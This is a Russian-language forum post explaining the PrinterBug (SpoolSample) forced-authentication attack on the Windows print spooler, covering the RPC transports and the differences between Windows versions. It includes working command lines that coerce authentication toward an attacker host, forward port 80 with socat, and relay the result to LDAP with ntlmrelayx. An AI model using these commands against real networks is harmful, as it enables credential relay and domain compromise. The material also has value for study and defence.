Printerbug(SpoolSample)

Tak10

One Level
03.09.2025
9
0
Всем доброго времени суток. Пытаюсь разобраться с принудительной аутентификацией. Начать решил с printerbug. Ниже описываю то как я понимаю работу данного эксплоита. Буду очень признателен если кто прочитает и сможет указать на ошибки!
Эксплоит требует чтобы на целевом сервере была запущена служба очереди печати. Проверить запущена ли на целевом хосте служба очереди печати можно используя например wmi:
PS C:\> GWMI Win32_Printer -Computer <TargetFullName>
Итак существует две версии эксплоита. Эксплоит для Windows 11 22H2+ и Server 2025 и эксплоит для более старых версий ос. Оба эксплоита основаны на протоколе MS_RPRN. MS_RPRN — это протокол, используемый в Windows для управления печатью в сетевых окружениях. MS_RPRN работает на основе RPC.
1)В Windows 11 22H2+ и Server 2025 служба очереди печати доступна только через DCE RPC(поиск интерфейса и подходящего string binding через службу epmapper работающую на порту 135) и поэтому соответствующий POC работает именно через DCERPC, через интерфейс с UUID 12345678-1234-abcd-ef00-0123456789ab. Протоколы smb и http больше использовать не получится. Но к счастью для нас в ntlmrelayx уже добавлено обновление способное принимать и ретранслировать аутентификацию raw DCERPC
2)В более старых версиях ос взаимодействие по умолчанию происходит через smb(445порт) и именованный канал \pipe\spoolss, но также есть возможность использовать и другие реализации rpc доступные в windows. Всего в windows существует три основных реализации rpc:
  • 135/TCP, 49152-65535/TCP (DCE/RPC) Сначала запрос на 135порт(служба emapper) чтобы узнать на каком порту из диапазона 49152-65535, или именованном канале работает та или иная служба или программа(поиск uuid интерфейса и подходящей string binding).
  • 445/TCP (RPC over SMB Named Pipes(MS-RPC)) Подключение через smb к шаре IPC$ в которой находятся именованные каналы через которые можно взаимодействовать с процессами целевой системы.
  • 139/TCP (RPC over SMB Named Pipes(MS-RPC)) Реализация через netbios. Взаимодействие происходит аналогично предыдущему варианту но ip адрес целевого хоста разрешается через его netbios имя.
Итак как уже было сказано ранее в версиях windows до Windows 11 22H2+ и Server 2025 по умолчанию используется 445 порт(smb) и именованный канал \pipe\spoolss для запроса необходимой rpc функции, но если этот порт окажется закрытым то мы сможем запросить ту же самую rpc функцию через 139 порт используя netbios имя или через 135порт найдя необходимый интерфейс и способы привязки к нему благодаря endpointmapper. Строго говоря даже если все три порта будут закрыты мы всеравно сможем это обойти так как DCERPC присваивает порты string binding обслуживаемых интерфейсов динамически. А значит мы сможем просто просканировать целевой хост с помощью nmap на предмет открытых портов и затем опросить каждый на наличие интересующего нас UUID интерфейса, c помощью например rpcmap.py из Impacket.
Так или иначе смысл обеих версий эксплоита в вызове функции RpcRemoteFindFirstPrinterChangeNotification(Ex). В одном из аргументов этой функции(pszLocalMachine) атакующий передает путь вида «\\IP\Share\path\to\something» указывающий на машину атакующего и именно при попытке перехода по этому пути целевому хосту придется пройти аутентификацию.
---
ПРИНУЖДЕНИЕ К АУТЕНТИФИКАЦИИ ПО SMB(NTLM):
Доступно только для хостов с версиями ос windows выпущенными до Windows 11 22H2 и Server 2025
Если адрес обратного подключения(адрес атакующего) задан в виде IP, то подключение будет производиться на сетевой диск по протоколу SMB, с использованием NTLM:
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER_HOST'
---
ПРИНУЖДЕНИЕ К АУТЕНТИФИКАЦИИ ПО SMB(Kerberos):
Доступно только для хостов с версиями ос windows выпущенными до Windows 11 22H2 и Server 2025
Если адрес обратного подключения(адрес атакующего) указан в форме полного доменного имени с доменным суффиксом, то подключение произойдет также на сетевой диск по протоколу SMB, но уже с использованием протокола аутентификации Kerberos:
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER_HOST'
---
ПРИНУЖДЕНИЕ К АУТЕНТИФИКАЦИИ ПО DCERPC(NTLM):
Доступно для хостов с версиями ос Windows 11 22H2+ и Server 2025+. Как уже было сказано ранее начиная Windows 11 22H2+ и Server 2025+ спулер доступен только через raw DCERPC.
К счастью для нас ntlmrelayx из impacket имеет обновление позволяющее принимать и ретранслировать raw DCERPC.
printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]
---
ПРИНУЖДЕНИЕ К АУТЕНТИФИКАЦИИ ПО HTTP(NTLM):
Доступно только для хостов с версиями ос windows выпущенными до Windows 11 22H2 и Server 2025
По умолчанию аутентификация происходит по smb(ntlm инкапсулируется в smb), но при наличии на целевом хосте включенной службы вэб клиента(WebDav) можно также инициировать аутентификацию по http(ntlm инкапсулируется в http). Наличие возможности стригерить аутентификацию по http важно, так как аутентификация по http может быть перенаправлена вообще почти куда угодно где поддерживается NTLM, включая например LDAP(если не используется защита channel binding(EPA) а точнее ее подвид Service Binding). Такие широкие возможности для relay с http на другие протоколы возникают благодаря тому что в http на уровне настройки протокола вообще отсутствует возможность указать подпись required (обязательна), optional (необязательна) или disabled (отключенна) и как следствие в ntlm в структуре negotiationflags флаг Negotiate sign будет установлен в 0.
На наличие включенной службы webclient указывает наличие именованного канала \pipe\DAV RPC в шаре IPC$ целевой системы. Шара IPC$ это по сути интерфейс для взаимодействия с доступными в системе именованными каналами. Она присутствует в любой системе windows с включенным smb сервером.
Проверить можно например с помощью crackmapexec:
crackmapexec smb <target IP> -u <user> -p <password> -M webdav,
или с помощью скрипта webclientservicescanner от hackanddo(требуются действительные учётные данные домена),
или с помощью netexec c модулем webdav,
или вручную проверив наличие \pipe\DAV RPC в шаре IPC$ целевой системы.
К сожалению чаще всего эта служба выключена, но существуют способы ее принудительного включения(обсуждение этих способов выходит за рамки этого материала), при условии что служба вообще установлена на целевом хосте(на рабочих станциях windows она установлена по умолчанию а вот на windows server по умолчанию отсутствует).
Также для принуждения к аутентификации по http атакующему нужна собственная DNS-запись в обследуемом домене. Зарегистрировать dns запись для своей машины при наличии учетки в домене можно например с использованием dnstool.py из набора krbrelayx.
Также если у атакующей машины нет DNS-записи, но у нас есть доменная учетка всегда можно попробовать поискать хост, на котором она будет. А там уже не важно, Windows это или Linux, с помощью socat мы сможем пробросить себе 80-й порт и получить аутентификацию.
1)Запускаем socat для проброса 80-го порта с машины с DNS-записью на хост атакующего:
socat.exe -v tcp-listen:80,fork,bind="local_ip" tcp-connect:"attacker_ip":80
2)Запускаем ntlmrelayx на машине атакующего например для ретрансляции с http на ldap:
ntlmrelayx.py -t ldap://"target_ip"
3)Принуждаем целевую машину пройти аутентификацию по отношению к хосту на котором запущен socat:
python3.9 printerbug.py [[domain/]username[password]@]<targetName_or_ip_address> <HostWithDnsRecord>@80/D
D десь это вымышленное значение подразумевающее какойто ресурс на сетевой шаре к которому будет пытатся получить доступ атакуемый хост, а 80 порт указывается для того чтобы указать функции RpcRemoteFindFirstPrinterChangeNotification(Ex) что взаимодействовать с целевой шарой необходимо именно по http(используя клиент webdav). Также обратите внимание адрес обратного подключения указывается без доменного суффикса.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab